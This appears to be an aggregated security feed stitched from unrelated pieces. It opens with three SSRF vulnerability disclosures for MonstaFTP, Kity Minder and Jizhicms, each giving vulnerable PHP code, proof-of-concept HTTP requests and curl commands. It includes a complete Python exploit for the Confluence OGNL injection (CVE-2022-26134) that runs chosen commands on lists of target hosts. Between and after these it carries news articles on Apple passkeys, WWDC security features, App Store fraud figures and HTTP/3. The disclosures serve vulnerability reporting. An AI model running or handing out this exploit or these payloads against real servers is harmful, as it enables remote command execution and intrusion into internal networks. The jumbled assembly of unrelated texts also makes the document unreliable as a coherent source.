MonstaFTP v2.10.3 was discovered to contain a Server-Side Request Forgery (SSRF) via the function performFetchRequest at HTTPFetcher.php.

**SSRF vulnerability in performFetchRequest Function of HTTPFetcher.php File (MonstaFTP v2.10.3 version)****0x01 Affected version**

vendor: https://www.monstaftp.com/

version: v2.10.3

php version: 7.2.x

**0x02 Vulnerability description**

The vulnerable code is located in the performFetchRequest function of the application/api/file_fetch/HTTPFetcher.php file, which does not perform sufficient checksum on the source parameter, leading to a taint from the $context['source'] variable and enters the tainted function curl_setopt, which sends a request to the URL specified by the source parameter after the curl_exec function is executed, eventually leading to an SSRF vulnerability.

Although the vulnerability requires login authentication verification, but because the FTP/SFTP login here is able to login to our own FTP server, so the login field can pass the verification as long as it is set, so as to take advantage of the SSRF vulnerability. So it is equivalent to pre-authentication SSRF, which is more harmful!

private function performFetchRequest() {
    $fp = fopen($this\->tempSavePath, 'w+');
    $ch = curl\_init();
    curl\_setopt($ch, CURLOPT\_URL, $this\->fetchRequest\->getURL());
    curl\_setopt($ch, CURLOPT\_FILE, $fp);
    curl\_setopt($ch, CURLOPT\_FOLLOWLOCATION, true);
    curl\_setopt($ch, CURLOPT\_HEADERFUNCTION, array(&$this\->fetchRequest, 'handleCurlHeader'));
    $success = @curl\_exec($ch);
    $curlError = @curl\_error($ch);
    $effectiveUrl = curl\_getinfo($ch, CURLINFO\_EFFECTIVE\_URL);
    $httpCode = curl\_getinfo($ch, CURLINFO\_HTTP\_CODE);

    curl\_close($ch);
    fclose($fp);

Because the source parameter is unrestricted, it is also possible to use the server side to send requests, such as probing intranet web services. The corresponding PoC is as follows

    POST /application/api/api.php HTTP/1.1
    Host: 172.16.119.130
    Content-Length: 275
    Accept: application/json, text/plain, */*
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
    Content-Type: application/x-www-form-urlencoded
    Origin: http://172.16.119.130
    Referer: http://172.16.119.130/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    
    request={"connectionType":"sftp","configuration":{"host":"172.16.119.130","remoteUsername":"zero","initialDirectory":"/tmp/","authenticationModeName":"Password","password":"123456","port":22},"actionName":"fetchRemoteFile","context":{"source":"http://172.16.119.1/flag.txt"}}
    

You can also use the following curl command to verify the vulnerability

curl -i -s -k -X $'POST' \\
    -H $'Host: 172.16.119.130' -H $'Accept: application/json, text/plain, \*/\*' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Connection: close' -H $'Content-Length: 275' \\
    --data-binary $'request={\\"connectionType\\":\\"sftp\\",\\"configuration\\":{\\"host\\":\\"172.16.119.130\\",\\"remoteUsername\\":\\"zero\\",\\"initialDirectory\\":\\"/tmp/\\",\\"authenticationModeName\\":\\"Password\\",\\"password\\":\\"123456\\",\\"port\\":22},\\"actionName\\":\\"fetchRemoteFile\\",\\"context\\":{\\"source\\":\\"http://172.16.119.1/flag.txt\\"}}' \\
    $'http://172.16.119.130/application/api/api.php'

**0x03 Acknowledgement**

Ez Wang, W Xie, Yf Gao, Zh Wang, Lj Wu

CVE-2022-31827: CVE_Request/MonstaFTP_v2_10_3_SSRF.md at master · zer0yu/CVE_Request

Kity Minder v1.3.5 was discovered to contain a Server-Side Request Forgery (SSRF) via the init function at ImageCapture.class.php.

Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.

Impact version: v1.3.5  
Test with PHP 7.2

The vulnerable code is located in the init function of the native-support/archive/src/ImageCapture.class.php file, which does not sufficiently validate the image parameter, leading to a taint introduced from the native-support/export.php file in the $_REQUEST['data'] variable in the native-support/export.php file and eventually enters the tainted function curl_init, which, after the curl_exec function is executed, sends a request to the URL specified by the image parameter, eventually leading to an SSRF vulnerability.

The function call path is as follows.

    file: native-support/export.php 
    code: $file = Parser::toXMind( $_REQUEST['data'] );
    
    file: native-support/archive/src/Parser.class.php
    code: return XMindParser::parse( htmlspecialchars( $source, ENT_NOQUOTES ), $previewImage );
    
    file: native-support/archive/src/Parser.xmind.class.php
    code: $data = self::doParse( $sourceJSON );
    
    file: native-support/archive/src/Parser.xmind.class.php
    code: 'topic' => self::parseTopic( $source, $attachments )
    
    file: native-support/archive/src/Parser.xmind.class.php
    code: self::parseImage( $source, $attachments );
    
    file: native-support/archive/src/Parser.xmind.class.php
    code: $image = ImageCapture::capture( $source[ 'data' ][ 'image' ] );
    
    file: native-support/archive/src/ImageCapture.class.php
    code: $curl = self::init( $url );
    

The vulnerable function init

private static function init ( $url ) {

    $curl = curl\_init( $url );

    curl\_setopt( $curl, CURLOPT\_AUTOREFERER, true );
    curl\_setopt( $curl, CURLOPT\_FOLLOWLOCATION, true );
    curl\_setopt( $curl, CURLOPT\_RETURNTRANSFER, true );
    curl\_setopt( $curl, CURLOPT\_RETURNTRANSFER, true );

    // 尝试连接时间 10s
    curl\_setopt( $curl, CURLOPT\_RETURNTRANSFER, 10 \* 1000 );
    curl\_setopt( $curl, CURLOPT\_MAXREDIRS, 5 );
    curl\_setopt( $curl, CURLOPT\_TIMEOUT, 30 );

    return $curl;

}

Because the image parameter is unrestricted, it is also possible to use the server side to send requests, such as probing intranet web services. The corresponding PoC is as follows

    POST /export.php HTTP/1.1
    Host: 172.16.119.1:81
    Content-Length: 64
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://172.16.119.1:81
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://172.16.119.1:81/export.php
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    
    type=xmind&data={"data":{"image":"http://172.16.119.1/testpoc"}}
    

You can also use the following curl command to verify the vulnerability

    curl -i -s -k -X $'POST' \
        -H $'Host: 172.16.119.1:81' -H $'Content-Length: 64' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Connection: close' \
        --data-binary $'type=xmind&data={\"data\":{\"image\":\"http://172.16.119.1/testpoc\"}}' \
        $'http://172.16.119.1:81/export.php'

CVE-2022-31830: [Vuln] SSRF vulnerability in `init` Function of `ImageCapture.class.php` File (Kity Minder v1.3.5 version) · Issue #345 · fex-team/kityminder

Jizhicms v2.2.5 was discovered to contain a Server-Side Request Forgery (SSRF) vulnerability via the Index function in app/admin/c/PluginsController.php.

Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.

Impact version: 2.2.5  
Test with PHP 7.2

The vulnerable code is located in the index function of the app/admin/c/PluginsController.php file, which fails to validate the webapi parameter, leading to a taint introduced from the $webapi variable into the tainted function curl_setopt, and after the curl_exec function is executed, it sends a request to the URL specified by the webapi parameter, eventually leading to an SSRF vulnerability. However, this vulnerability is triggered in two stages, first by passing the set parameter to reset the webapi section of the plugins_config field in sysconfig. The SSRF vulnerability is then triggered when the function is triggered again and without any parameter values.

public function index(){
	//检查更新链接是否可以访问
	$webapi = $this\->webconf\['plugins\_config'\];
	if(!$webapi){
		$webapi = 'http://api.jizhicms.cn/plugins.php';
		if(!M('sysconfig')->find(\['field'\=>'plugins\_config'\])){
			M('sysconfig')->add(\['title'\=>JZLANG('插件配置'),'field'\=>'plugins\_config','type'\=>2,'data'\=>$webapi,'typeid'\=>0\]);
			setCache('webconfig',null);
		}
	}
	if($this\->frparam('set')){
        if($this\->admin\['isadmin'\]!=1){
            JsonReturn(\['code'\=>1,'msg'\=>JZLANG('非超级管理员无法设置！')\]);
        }
		$webapi = $this\->frparam('webapi',1);
		M('sysconfig')->update(\['field'\=>'plugins\_config'\],\['data'\=>$webapi\]);
		setCache('webconfig',null);
		JsonReturn(\['code'\=>0,'msg'\=>'配置成功！'\]);
	}
	$this\->webapi = $webapi;
	$api = $webapi.'?version='.$this\->webconf\['web\_version'\];
	$ch = curl\_init();
	$timeout = 5;
	curl\_setopt($ch,CURLOPT\_FOLLOWLOCATION,1);
	curl\_setopt($ch,CURLOPT\_RETURNTRANSFER,1);
	curl\_setopt($ch, CURLOPT\_HEADER, false);
	curl\_setopt ($ch, CURLOPT\_CONNECTTIMEOUT, $timeout);
	curl\_setopt($ch,CURLOPT\_URL,$api);
	$res = curl\_exec($ch);
	$httpcode = curl\_getinfo($ch,CURLINFO\_HTTP\_CODE);
	curl\_close($ch);

Because the webapi parameters are not limited, it is also possible to use the server side to send requests, such as probing intranet web services. The corresponding PoC is as follows

PoC stage 1: the value of the webapi to set

    POST /index.php/admins/Plugins/index.html HTTP/1.1
    Host: 172.16.119.130
    Content-Length: 51
    Accept: application/json, text/javascript, */*; q=0.01
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://172.16.119.130
    Referer: http://172.16.119.130/index.php/admins/Plugins/index.html
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: think_var=zh-cn; PHPSESSID=lkbci4j8clqc6de6rhpn9fdk31
    Connection: close
    
    set=1&webapi=http%3A%2F%2F127.0.0.1%2Fwebapipoc.php
    

You can also use the following curl command to verify the vulnerability as PoC Stage 1

    curl -i -s -k -X $'POST' \
        -H $'Host: 172.16.119.130' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Connection: close' -H $'Content-Length: 51' \
        -b $'think_var=zh-cn; PHPSESSID=g3e5nupqb19trokgr9msul8d9l' \
        --data-binary $'set=1&webapi=http%3A%2F%2F127.0.0.1%2Fwebapipoc.php' \
        $'http://172.16.119.130/index.php/admins/Plugins/index.html'
    

PoC stage 2:

    GET /index.php/admins/Plugins/index.html HTTP/1.1
    Host: 172.16.119.130
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://172.16.119.130/index.php/admins/Plugins/index.html
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: think_var=zh-cn; PHPSESSID=lkbci4j8clqc6de6rhpn9fdk31
    Connection: close
    

Eventually we can see the corresponding request in the apache server logs, which proves that the SSRF vulnerability can be triggered

CVE-2022-31393: [Vuln] SSRF vulnerability in `index` Function of `PluginsController.php` File (2.2.5 version) · Issue #76 · Cherry-toto/jizhicms

Apple aims to fix the password problem forever with a single-tap sign in approach known as the passkey. Will it work?
The post Apple’s passkeys attempt to solve the password problem appeared first on Malwarebytes Labs.

The recent Apple Worldwide Developers Conference (WWDC) revealed another teasing of what has been referred to as “the end of passwords forever”.

Passkeys are a “new biometric sign-in standard”. Biometrics in security circles are used for things like identity cards, building access, and so on. This typically involves scans of your fingerprints, or face. Either of these may be physically used on a device or through a readable card scanned into a system.

Every so often, they’re hailed as a possible replacement to the passwords you’re likely using on websites and systems right this very second. One of their biggest benefits is that they’re totally unique to you. The _downside_ of this is that they’re…totally unique to you. A big argument against biometrics for security purposes is that once they’re stolen, your biometrics are out there forever. You can’t exactly change them, but then not having to change them is a key selling point in the first place.

With this caveat out of the way: Passkeys aren’t about tying your biometrics to an ID card. You’re not going to do anything you aren’t _already_ doing with biometrics via your Apple devices. If you’re already happy with using biometrics for everyday activities on your iPhone, this probably won’t be a concern.

Let’s take a look at what Apple is doing with its passkeys.

**Pass the passkey**

Some of Apple’s primary concerns about the kind of passwords we use currently:

*   Difficult to use correctly
*   Easily phished/reusable
*   The trade-off between security versus convenience

The new system uses Keychain, Touch ID, and passkeys to help you log in with a minimum of fuss.

Using a passkey involves signing in to a service you normally use, and then selecting the “Create passkey” option. The passkey is saved to your iCloud Keychain, and is then available to sign in on all of your devices. A few taps has given you “a unique, cryptographically strong key pair” for your account. All you need is to be running macOS Ventura and iOS 16.

It’s designed to work across as many platforms as possible. It also allows you to login on other people’s machine via your phone and a QR code. Want to share a passkey with people you trust? Airdrop can do that for you. Apple wants this working across, and with, as many of their services and features as possible.

**Breaking up the password flow**

Eventually, the idea is to exist as a replacement for passwords. The passkey option being added into the username field as an additional popup option seems to be the goal. No password entering, no username entering: just the passkey.

Of course, not everyone is going to be using this feature. Not all sites and services will make the leap. Traditional passwords can’t exactly just vanish any time soon, so this is realistically an addition to password flows for the time being.

**How secure is the passkey?**

When you sign in with a password, it is (hopefully) hashed and salted. These are encryption processes which make it more difficult for people to compromise your details should a data breach occur. The obfuscated output is sent to, and stored on, the server. When you visit the service at a later date and produce the same hashed salted value, it grants you access.

With Apple’s new creation, instead of a single typeable string the passkey is a pair of related keys generated by your devices. They’re unique for every account. One key is stored on the server and is public. The other, private key, is stored on your device and the server is never actually told what it is. From the Apple support document:

> “_On Apple devices with Touch ID or Face ID available, they can be used to authorize use of the passkey, which then authenticates the user to the app or website. No shared secret is transmitted, and the server does not need to protect the public key. This makes passkeys very strong, easy to use credentials that are highly phishing-resistant. And platform vendors have worked together within the FIDO Alliance to make sure that passkey implementations are compatible cross-platform and can work on as many devices as possible._“

On top of all this, Apple IDs using iCloud Keychain require two-factor authentication. There’s also protection against rogue devices accessing a Keychain via syncing identities and their “circle of trust“.

**All hail the single-tap sign in?**

Anything promising to combine good security with actual convenience is always a strong sales pitch. Google and Microsoft are also eager to solve the password problem forever. Support for the FIDO standard of passwordless sign-ins is definitely the direction passwords are headed in.

What remains to be seen is the buy-in rate from sites, services, and apps. Apple spends quite a bit of time explaining to developers how easy it is to integrate passkeys into their sites. We just have to hope that, as with all the passwordless proposals, developers will listen.

Apple’s passkeys attempt to solve the password problem

Passkeys, Safety Check, and Private Access Tokens demonstrated during week-long virtual conference

Passkeys, Safety Check, and Private Access Tokens demonstrated during week-long virtual conference

The 2022 edition of Apple’s Worldwide Developers Conference (WWDC) kicked off this week, with numerous security and privacy developments placed front and center among the firm’s mobile and desktop platforms.

As has become tradition, this year’s WWDC offered a glimpse into Apple’s product and feature pipeline for the coming months.

On Monday (June 6), attendees were given a first look at the redesigned MacBook Air and the updated 13-inch MacBook Pro powered by the M2 chip, along with new features coming to iOS 16, iPadOS 16, macOS Ventura, and watchOS 9.

**What’s new in Safari?**

Apple’s Safari browser – which is now thought to have overtaken Chrome as the most popular mobile browser in North America – will soon include several security and privacy enhancements designed to help protect users and open up new opportunities for developers.

“With both of the new Cross Origin Opener Policy and Cross Origin Embedder Policy HTTP response headers, your site can opt in to process isolation, which means your site will run in its own dedicated webContent process,” said Kendall Bagley, software engineer on the Safari team.

**DON’T MISS** HTTP/3 evolves into RFC 9114 – a security advantage, but not without challenges

“Our second security enhancement also involves HTTP headers, with our improved support for Content Security Policy Level 3. CSP provides enhanced security control over your loading content and mitigates risk of cross-site scripting \[XSS\] and other vulnerabilities.”

Check out the Safari 16 beta release notes for more information.

WWDC22 attendees watch the unveiling of iOS 16

**Introducing Passkeys**

Garrett Davidson of Apple’s authentication experience team took to the virtual stage at WWDC22 to showcase Passkeys, the company’s “next-generation authentication technology”.

“Passwords are really hard to use securely,” Davidson explained. “All of us know we’re supposed to create strong, unique passwords for every account, but not many people actually do.”

He added: “As you’re designing your apps and websites, there’s this constant trade-off between keeping accounts secure and designing a good experience. And even if your apps and websites do everything right, issues like phishing and password reuse can still lead to account compromise.”

Read more of the latest Apple security news

To tackle this, Passkeys – which will come bundled with the upcoming macOS Ventura and iOS 16 – creates a unique, cryptographically strong key pair for user accounts and stores it in iCloud Keychain so it syncs and works across all devices.

Once the pairing has been created, any future visit to the app or website sign-in form will show the ‘Passkey’ option in the QuickType bar. The user simply needs to tap the option, or use Touch ID, and they are signed in.

Davidson said: “With Passkeys, not only is the user experience better than a password, but also entire categories of security problems, like weak and reused credentials, credential leaks, and phishing, are just not possible anymore. And they are so easy to use.”

Visit Apple’s technical documentation page for implementation information.

**Safety Check**

Also new for Apple devices this year is a new privacy tool called Safety Check, which aims to help users whose personal safety might be at risk from domestic or intimate partner violence.

Designed to allow users to quickly remove all device access that may have granted to others, Safety Check includes an emergency reset that helps users easily sign out of iCloud on all their other devices, reset privacy permissions, and limit messaging to just the device in their hand.

The service also helps users understand and manage which people and apps they’ve given access to.

**Replacing CAPTCHAs**

That’s not all from WWDC22, as two additional privacy and security tools are due to be showcased later this week.

On Wednesday (June 8), the Apple team will demonstrate Private Access Tokens. This new technology is being marketed as a “powerful alternative” to CAPTCHA challenges that help the identification of HTTP requests from legitimate devices without compromising users’ identity.

“We’ll show you how your app and server can take advantage of this tool to add confidence to your online transactions and preserve privacy,” Apple said.

**YOU MIGHT ALSO LIKE** Popular websites leaking user email data to web tracking domains

Lastly, June 10 will see Apple showcase the latest ways to ensure that DNS – the foundation of internet addressing – is secure within an application.

“Learn how to authenticate DNS responses in your app with DNSSEC and enable DNS encryption automatically with Discovery of Designated Resolvers (DDR),” Apple said in its presentation teaser this week.

WWDC22 continues through June 10. Check out the complete list of sessions for further information.

**READ MORE** Google showers top cloud security researchers with kudos and cash

WWDC 2022: Apple showcases next-gen security tech at annual developer event

Confluence suffers from a pre-authentication remote code execution vulnerability that is leveraged via OGNL injection. All 7.4.17 versions before 7.18.1 are affected.

    #!/usr/bin/python3# Exploit Title: Confluence Pre-Auth Remote Code Execution via OGNL Injection# Google Dork: N/A# Date: 06/006/2022# Exploit Author: h3v0x# Vendor Homepage: https://www.atlassian.com/# Software Link: https://www.atlassian.com/software/confluence/download-archives# Version: All < 7.4.17 versions before 7.18.1# Tested on: -# CVE : CVE-2022-26134# https://github.com/h3v0x/CVE-2022-26134import sysimport requestsimport optparseimport multiprocessingfrom requests.packages import urllib3from requests.exceptions import MissingSchema, InvalidURLurllib3.disable_warnings()requestEngine = multiprocessing.Manager()session = requests.Session()global paramResultsparamResults = requestEngine.list()globals().update(locals())def spiderXpl(url):    globals().update(locals())    if not url.startswith('http'):        url='http://'+url        headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",               "Connection": "close",               "Accept-Encoding": "gzip, deflate"}    try:        response = requests.get(url + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22'+optionsOpt.command+'%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/', headers=headers, verify=False, allow_redirects=False)        if(response.status_code == 302):            print('Found: '+url+' // '+ response.headers['X-Cmd-Response'])            inputBuffer = str(response.headers['X-Cmd-Response'])            paramResults.append('Vulnerable application found:'+url+'\n''Command result:'+inputBuffer+'\n')        else:            pass    except requests.exceptions.ConnectionError:        print('[x] Failed to Connect: '+url)        pass    except multiprocessing.log_to_stderr:        pass    except KeyboardInterrupt:        print('[!] Stoping exploit...')        exit(0)    except (MissingSchema, InvalidURL):        pass        def banner():    print('[-] CVE-2022-26134')    print('[-] Confluence Pre-Auth Remote Code Execution via OGNL Injection \n')    def main():    banner()        globals().update(locals())        sys.setrecursionlimit(100000)    if not optionsOpt.filehosts:        url = optionsOpt.url        spiderXpl(url)    else:        f = open(optionsOpt.filehosts)        urls = map(str.strip, f.readlines())        multiReq = multiprocessing.Pool(optionsOpt.threads_set)        try:            multiReq.map(spiderXpl, urls)            multiReq.close()            multiReq.join()        except UnboundLocalError:            pass        except KeyboardInterrupt:            exit(0)    if optionsOpt.output:        print("\n[!] Saving the output result in: %s" % optionsOpt.output)        with open(optionsOpt.output, "w") as f:            for result in paramResults:                f.write("%s\n" % result)        f.close()if __name__ == "__main__":    parser = optparse.OptionParser()    parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)')    parser.add_option('-f', '--file', dest="filehosts", help='example.txt')    parser.add_option('-t', '--threads', dest="threads_set", type=int,default=10)    parser.add_option('-m', '--maxtimeout', dest="timeout", type=int,default=8)    parser.add_option('-o', '--output', dest="output", type=str, default='exploit_result.txt')    parser.add_option('-c', '--cmd', dest="command", type=str, default='id')    optionsOpt, args = parser.parse_args()    main()

Confluence OGNL Injection Remote Code Execution

Apple’s iOS 16 and macOS Ventura will introduce passwordless login for apps and websites. It’s only the beginning.

Your passwords are terrible. Year after year, the most popular passwords leaked in data breaches are 123456, 123456789, and 12345—‘qwerty’ and ‘password’ come close behind—and using these weak passwords leaves you vulnerable to all sorts of hacking. Weak and repeated passwords are one of the most significant risks to your online life.

For years, we’ve been promised a more secure, password-free future, but it seems like 2022 will _actually_ be the year that millions of people start to move away from passwords. At Apple’s Worldwide Developer Conference yesterday, the company announced it will launch passwordless logins across Macs, iPhones, iPads, and Apple TVs around September of this year. Instead of using passwords, you will be able to log in to websites and apps using “Passkeys” with iOS 16 and macOS Ventura. It’s the first major real-world shift to password elimination.

So how does it work? Passkeys replace your tired old passwords by creating new digital keys using Touch ID or Face ID, Apple’s vice president of internet technologies, Darin Adler, explained at WWDC. When you are creating an online account with a website, you can use a Passkey instead of a password. “To create a Passkey, just use Touch ID or Face ID to authenticate, and you’re done,” Adler said.

When you go to log in to that website again, Passkeys allow you to prove who you are by using your biometrics rather than typing in a passphrase (or having your password manager enter it for you). When signing in to a website on a Mac, a prompt will appear on your iPhone or iPad to verify your identity. Apple says its Passkeys will sync across your devices using iCloud’s Keychain, and the Passkeys are stored on your devices rather than on servers. (The use of iCloud Keychain should also solve the problem of losing or breaking your linked devices.) Under the hood, Apple’s Passkeys are based on the Web Authentication API (WebAuthn) and are end-to-end encrypted so nobody can read them, including Apple. The system for creating Passkeys uses public-private key authentication to prove you are who you say you are.

A passwordless system would be a significant step forward for most people’s online security. As well as eliminating guessable passwords, removing passwords reduces the likelihood of successful phishing attacks. And passwords can’t be stolen in data breaches if they don't exist in the first place. (Some apps and websites already allow people to log in using their fingerprints or using face recognition, but these usually require you to first create an account with a password.)

Apple’s Passkeys aren’t entirely new—the company first detailed them at 2021’s WWDC and started testing them shortly after—and Apple isn’t the only one that wants to eliminate passwords. The FIDO Alliance, a tech industry group, has been working on the underlying standards needed to ditch passwords for almost a decade, and Apple’s Passkeys are the company’s implementation of these standards.

In recent months, FIDO has taken a series of important steps to bring the password’s demise closer to reality. In March, FIDO announced it has figured out a way to store the cryptographic keys that sync between people’s devices, calling them “multi-device FIDO credentials” or “passkeys.”

This was followed in May by Apple, Microsoft, and Google declaring their support for the FIDO standards. Jen Easterly, the director of the US Cybersecurity and Infrastructure Security Agency, said adoption of the standards would keep more people safe online. At the time, the three tech giants said they would start rolling out the technology “over the course of the coming year.” Microsoft account owners have been able to ditch their passwords since September of last year, and Google has been working on its passwordless technology since 2008.

When all the tech companies have rolled out their version of passkeys, it should be possible for the system to work across different devices—in theory, you could use your iPhone to log in to a Windows laptop, or an Android tablet to log in to a website in Microsoft’s Edge Browser. “All of FIDO’s specs have been developed collaboratively, with inputs from hundreds of companies,” says Andrew Shikiar, the executive director of the FIDO Alliance. Shikiar confirms that Apple is the first company to start rolling out passkey-style technology and says this shows “how tangible this approach will soon be for consumers worldwide.”

Any success for a passwordless future depends on how it works in reality. At the moment, there are unanswered questions about what happens to your Passkeys if you want to ditch Apple’s ecosystem for Android or another platform. (Apple hasn’t yet responded to our request for comment.) And developers still need to implement changes to their apps and websites to work with Passkey. Plus, to gain trust in any system, people need to be educated about how it works. “Any viable solution must be safer, easier, and faster than the passwords and legacy multi-factor authentication methods used today,” ​​Alex Simons, the head of Microsoft’s identity management efforts, said in May. In short: If cross-device systems are clunky or a pain to use, people may shun them in favor of weak but convenient passwords.

While Apple’s Passkey and Google and Microsoft’s equivalents are still some months away (at the very least), that doesn’t mean you should idly keep using your weak or repeated passwords. Every password you use—whether it’s for a one-time account used to buy DIY supplies or your Facebook account—should be strong and unique. Don’t use common phrases, names of friends or pets, or personal information linked to you in your passwords.

Instead, your passwords should be long and strong. The best way to achieve this is by using a password manager, which can help you create and store better passwords. You can find our pick of the best password managers here. And while you’re thinking about your security, turn on multi-factor authentication for as many accounts as possible.

Apple Just Killed the Password—for Real This Time

Apple's published some numbers about the number of apps blocked from getting into the App store, along with other security news from the WWDC
The post Rotten apples banned from the App store appeared first on Malwarebytes Labs.

Apple’s App Review process may have received ill wishes from many benevolent developers, but Apple has now revealed how effective it is and why it is so stringent.

According to its review of the year 2021, Apple protected customers from nearly $1.5 billion in potentially fraudulent transactions, and stopped over 1.6 million risky and vulnerable apps and app updates from defrauding users.

**Bad apples**

In 2021, Apple rejected or removed over 835,000 problematic new apps, and an additional 805,000 app updates. Some were removed because they were found to be unfinished or contained bugs that impeded functionality, others because they needed improvements in their moderation mechanisms for user-generated content.

The App Review team also rejected over 343,000 apps for requesting more user data than necessary or mishandling the data they already collected.

To put these numbers in perspective, 107,000 new developers managed to get their apps onto the store. Some of which may have gone through rejection on earlier occasions, but received a stamp of approval in the end.

_Image courtesy of Apple_

**Rotten apples**

Over the same year, the App Review team rejected more than 34,500 apps for containing hidden or undocumented features. They also rejected upward of 157,000 apps because they were found to be spam, copycats, or misleading to users, for example, by manipulating them into making a purchase.

Also, Apple removed over 155,000 apps from the App Store because the developers altered the concept or functionality of the app after receiving approval at first. Altering the app after release is a method threat actors can use to try and bypass the App Review process.

**Fraudulent accounts**

When developer accounts are used for fraudulent purposes, the offending developer’s Apple Developer Program account and any related accounts are terminated.

As a result of these efforts, Apple terminated over 802,000 developer accounts in 2021. Apple rejected an additional 153,000 developer enrollments over fraud concerns, preventing these threat actors from ever submitting an app to the store.

**Financial fraud**

Using both human and tech review, Apple stopped more than 3.3 million stolen cards from being used to make potentially fraudulent purchases. Nearly 600,000 accounts were banned from ever transacting again. In total, Apple protected users from nearly $1.5 billion in potentially fraudulent transactions in 2021.

**User concerns**

If users have concerns about an app, they can report it by clicking on the Report a Problem feature on the App Store or calling Apple Support, and developers can use either of those methods or additional channels like Feedback Assistant and Apple Developer Support.

As part of the App Review process, any developer who feels they have been incorrectly flagged for fraud may file an appeal to the App Review Board.

**Passwords**

Apple also announced at its annual Worldwide Developers Conference (WWDC) that it will introduce support for third-party two-factor authentication apps with the built-in Passwords feature in the Settings app.

iOS 16, which is expected to be released in September 2022, will permit users to edit strong passwords suggested by Safari to adjust for site‑specific requirements.

Apple also confirmed it’s bringing support for passkeys in the Safari web browser, a next-generation passwordless sign-in standard that allows users to log in to websites and apps across platforms using Touch ID or Face ID for biometric verification.

Passkeys never leave your device and are specific to the site you created them for. Which makes phishing for them almost impossible. The passkey mechanism was established by the FIDO Alliance and is already backed by Google and Microsoft. As such, it aims to replace standard passwords by providing unique digital keys stored locally on the device.

Rotten apples banned from the App store

The backbone of the web has received a major upgrade

The backbone of the web has received a major upgrade

ANALYSIS The HTTP/3 protocol has received RFC 9114 standardization – a boost for internet security, but not one without hurdles for web developers.

This week, the Internet Engineering Task Force (IETF) released HTTP/3, published as RFC 9114.

The HTTP protocol is the backbone of the web. The Hypertext Transfer Protocol (HTTP) acts as an application layer for facilitating communication between servers and browsers, fetching resources, and transferring data. HTTPS is HTTP with additional security via encryption.

**BACKGROUND** HTTP/3: Everything you need to know about the next-generation web protocol

HTTP/3 is the latest revision of the HTTP protocol, taking over from 2015’s HTTP/2. HTTP/3 is designed to address some of the performance issues inherent in HTTP/2, improving the user experience, decreasing the impact of packet loss without head-of-line blocking, speeding up handshake requirements, and enabling encryption by default.

The protocol utilizes space congestion control over User Datagram Protocol (UDP).

**QUIC step**

One of the major differences in HTTP/3 is QUIC. Developed by Google, Quick UDP Internet Connections (QUIC) was adopted by the IETF, and a tailored version provides a cornerstone of HTTP/3.

As noted by Cloudflare, implementing QUIC sets up encrypted connections by default at the transport layer, combining handshakes into one action and encrypting the metadata exchanged between connections.

Read more of the latest secure development news

Packet numbers and header information is, therefore, removed from eavesdroppers and attackers. This improvement might potentially lower the success of manipulator-in-the-middle (MitM) attacks, IP spoofing, and denial-of-service assaults.

“This feature was not included in HTTP/2,” Cloudflare notes. “Encrypting this data helps keep actionable information about user behavior out of attackers’ hands.”

Encryption at the transport layer isn’t the end of the story. Akamai says that as HTTP/3 runs on QUIC, this also paves the way for future innovations in encrypted transport and communication – as we’ve already seen with the QUIC Datagram extension (RFC 9221), a technology to manage both UDP and TCP traffic securely.

Furthermore, the protocol supports zero round-trip time (0-RTT), introduced in TLS 1.3, which skips the handshake requirement in trusted settings – but a downside is that this could lead to replay attacks without adequate protection.

**‘Challenging prospect’**

Rustam Lalkaka, director of product at Cloudflare, previously told us that while HTTP/3 has a range of security and performance benefits, enabling QUIC can be a challenging prospect for developers as many widely-sed technologies are yet to add QUIC and HTTP/3 support.

Some transit providers and ISPs may be hostile to UDP traffic, and there may also be a need for increased CPU usage when HTTP/3 is implemented, a detriment to both servers and web browsers.

Support for HTTP/3 has been rolled out gradually across major browsers including Google Chrome, Mozilla Firefox, and Microsoft Edge. Apple Safari also provides support, although at the time of writing, this must be enabled in the ‘Experimental Features’ tab in the developer menu.

Cloudflare scans have revealed that the majority of online traffic is facilitated by HTTP/2. The majority of current HTTP/3 requests are made by Chrome users, followed by Edge and Firefox. Safari volumes are minimal, but Cloudflare expects an uptick once Apple enables HTTP/3 support by default.

